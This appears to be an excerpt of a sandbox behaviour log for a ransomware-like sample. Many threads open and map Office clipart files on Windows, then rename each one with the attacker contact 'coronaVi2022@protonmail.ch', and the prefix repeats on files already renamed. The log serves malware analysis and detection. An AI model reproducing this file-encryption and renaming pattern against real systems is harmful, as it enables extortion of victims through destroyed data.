	[0093.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif")) returned 1
	[0093.718] free (_Block=0x51f0070) 
	[0093.718] RtlExitUserThread (Status=0x0) 

Thread:
	id = 501
	os_tid = 0x1838

	[0093.719] _alloca_probe () returned 0x40328a
	[0093.720] GetCurrentThreadId () returned 0x1838
	[0093.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", dwFileAttributes=0x80) returned 1
	[0093.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa88
	[0093.720] GetFileSizeEx (in: hFile=0xa88, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13537) returned 1
	[0093.720] CreateFileMappingA (hFile=0xa88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34e1, lpName=0x0) returned 0xa8c
	[0093.720] MapViewOfFile (hFileMappingObject=0xa8c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.724] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.724] CloseHandle (hObject=0xa8c) returned 1
	[0093.724] GetCurrentThreadId () returned 0x1838
	[0093.724] FlushFileBuffers (hFile=0xa88) returned 1
	[0093.727] CloseHandle (hObject=0xa88) returned 1
	[0093.727] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 184
	[0093.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif")) returned 1
	[0093.728] free (_Block=0x51f1078) 
	[0093.728] RtlExitUserThread (Status=0x0) 

Thread:
	id = 502
	os_tid = 0x183c

	[0093.730] _alloca_probe () returned 0x40328a
	[0093.730] GetCurrentThreadId () returned 0x183c
	[0093.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", dwFileAttributes=0x80) returned 1
	[0093.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8c
	[0093.731] GetFileSizeEx (in: hFile=0xa8c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20209) returned 1
	[0093.731] CreateFileMappingA (hFile=0xa8c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef1, lpName=0x0) returned 0xa90
	[0093.731] MapViewOfFile (hFileMappingObject=0xa90, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.735] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.735] CloseHandle (hObject=0xa90) returned 1
	[0093.735] GetCurrentThreadId () returned 0x183c
	[0093.735] FlushFileBuffers (hFile=0xa8c) returned 1
	[0093.737] CloseHandle (hObject=0xa8c) returned 1
	[0093.737] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 184
	[0093.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif")) returned 1
	[0093.738] free (_Block=0x51f1078) 
	[0093.738] RtlExitUserThread (Status=0x0) 

Thread:
	id = 503
	os_tid = 0x1840

	[0093.740] _alloca_probe () returned 0x40328a
	[0093.740] GetCurrentThreadId () returned 0x1840
	[0093.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", dwFileAttributes=0x80) returned 1
	[0093.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa90
	[0093.740] GetFileSizeEx (in: hFile=0xa90, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20473) returned 1
	[0093.740] CreateFileMappingA (hFile=0xa90, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5001, lpName=0x0) returned 0xa94
	[0093.741] MapViewOfFile (hFileMappingObject=0xa94, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.745] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.745] CloseHandle (hObject=0xa94) returned 1
	[0093.745] GetCurrentThreadId () returned 0x1840
	[0093.745] FlushFileBuffers (hFile=0xa90) returned 1
	[0093.747] CloseHandle (hObject=0xa90) returned 1
	[0093.748] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 184
	[0093.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif")) returned 1
	[0093.748] free (_Block=0x51f3088) 
	[0093.749] RtlExitUserThread (Status=0x0) 

Thread:
	id = 504
	os_tid = 0x1844

	[0093.750] _alloca_probe () returned 0x40328a
	[0093.751] GetCurrentThreadId () returned 0x1844
	[0093.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", dwFileAttributes=0x80) returned 1
	[0093.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa94
	[0093.751] GetFileSizeEx (in: hFile=0xa94, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15745) returned 1
	[0093.751] CreateFileMappingA (hFile=0xa94, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d81, lpName=0x0) returned 0xa98
	[0093.751] MapViewOfFile (hFileMappingObject=0xa98, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.755] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.755] CloseHandle (hObject=0xa98) returned 1
	[0093.755] GetCurrentThreadId () returned 0x1844
	[0093.755] FlushFileBuffers (hFile=0xa94) returned 1
	[0093.761] CloseHandle (hObject=0xa94) returned 1
	[0093.761] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 184
	[0093.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif")) returned 1
	[0093.762] free (_Block=0x51f4090) 
	[0093.762] RtlExitUserThread (Status=0x0) 

Thread:
	id = 505
	os_tid = 0x1848

	[0093.759] _alloca_probe () returned 0x40328a
	[0093.760] GetCurrentThreadId () returned 0x1848
	[0093.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", dwFileAttributes=0x80) returned 1
	[0093.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa9c
	[0093.760] GetFileSizeEx (in: hFile=0xa9c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=9024) returned 1
	[0093.760] CreateFileMappingA (hFile=0xa9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2340, lpName=0x0) returned 0xaa0
	[0093.760] MapViewOfFile (hFileMappingObject=0xaa0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0093.764] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0093.764] CloseHandle (hObject=0xaa0) returned 1
	[0093.764] GetCurrentThreadId () returned 0x1848
	[0093.764] FlushFileBuffers (hFile=0xa9c) returned 1
	[0093.768] CloseHandle (hObject=0xa9c) returned 1
	[0093.768] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 213
	[0093.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif")) returned 1
	[0093.769] free (_Block=0x51f5098) 
	[0093.769] RtlExitUserThread (Status=0x0) 

Thread:
	id = 506
	os_tid = 0x184c

	[0093.771] _alloca_probe () returned 0x40328a
	[0093.771] GetCurrentThreadId () returned 0x184c
	[0093.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", dwFileAttributes=0x80) returned 1
	[0093.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa0
	[0093.772] GetFileSizeEx (in: hFile=0xaa0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7216) returned 1
	[0093.772] CreateFileMappingA (hFile=0xaa0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0xa94
	[0093.772] MapViewOfFile (hFileMappingObject=0xa94, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.774] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.774] CloseHandle (hObject=0xa94) returned 1
	[0093.774] GetCurrentThreadId () returned 0x184c
	[0093.774] FlushFileBuffers (hFile=0xaa0) returned 1
	[0093.775] CloseHandle (hObject=0xaa0) returned 1
	[0093.776] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 213
	[0093.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif")) returned 1
	[0093.776] free (_Block=0x51f3088) 
	[0093.776] RtlExitUserThread (Status=0x0) 

Thread:
	id = 507
	os_tid = 0x1850

	[0093.778] _alloca_probe () returned 0x40328a
	[0093.778] GetCurrentThreadId () returned 0x1850
	[0093.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", dwFileAttributes=0x80) returned 1
	[0093.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa94
	[0093.779] GetFileSizeEx (in: hFile=0xa94, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=14881) returned 1
	[0093.779] CreateFileMappingA (hFile=0xa94, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a21, lpName=0x0) returned 0xaa4
	[0093.779] MapViewOfFile (hFileMappingObject=0xaa4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.782] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.782] CloseHandle (hObject=0xaa4) returned 1
	[0093.782] GetCurrentThreadId () returned 0x1850
	[0093.782] FlushFileBuffers (hFile=0xa94) returned 1
	[0093.784] CloseHandle (hObject=0xa94) returned 1
	[0093.784] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 213
	[0093.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif")) returned 1
	[0093.785] free (_Block=0x51f0070) 
	[0093.785] RtlExitUserThread (Status=0x0) 

Thread:
	id = 508
	os_tid = 0x1854

	[0093.787] _alloca_probe () returned 0x40328a
	[0093.787] GetCurrentThreadId () returned 0x1854
	[0093.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", dwFileAttributes=0x80) returned 1
	[0093.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa4
	[0093.788] GetFileSizeEx (in: hFile=0xaa4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6721) returned 1
	[0093.788] CreateFileMappingA (hFile=0xaa4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a41, lpName=0x0) returned 0xaa8
	[0093.788] MapViewOfFile (hFileMappingObject=0xaa8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.790] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.790] CloseHandle (hObject=0xaa8) returned 1
	[0093.790] GetCurrentThreadId () returned 0x1854
	[0093.790] FlushFileBuffers (hFile=0xaa4) returned 1
	[0093.792] CloseHandle (hObject=0xaa4) returned 1
	[0093.792] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 213
	[0093.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif")) returned 1
	[0093.793] free (_Block=0x51f3088) 
	[0093.793] RtlExitUserThread (Status=0x0) 

Thread:
	id = 509
	os_tid = 0x185c

	[0093.829] _alloca_probe () returned 0x40328a
	[0093.830] GetCurrentThreadId () returned 0x185c
	[0093.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", dwFileAttributes=0x80) returned 1
	[0093.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa8
	[0093.830] GetFileSizeEx (in: hFile=0xaa8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3265) returned 1
	[0093.830] CreateFileMappingA (hFile=0xaa8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc1, lpName=0x0) returned 0xaac
	[0093.830] MapViewOfFile (hFileMappingObject=0xaac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.833] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.833] CloseHandle (hObject=0xaac) returned 1
	[0093.833] GetCurrentThreadId () returned 0x185c
	[0093.833] FlushFileBuffers (hFile=0xaa8) returned 1
	[0093.835] CloseHandle (hObject=0xaa8) returned 1
	[0093.835] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 213
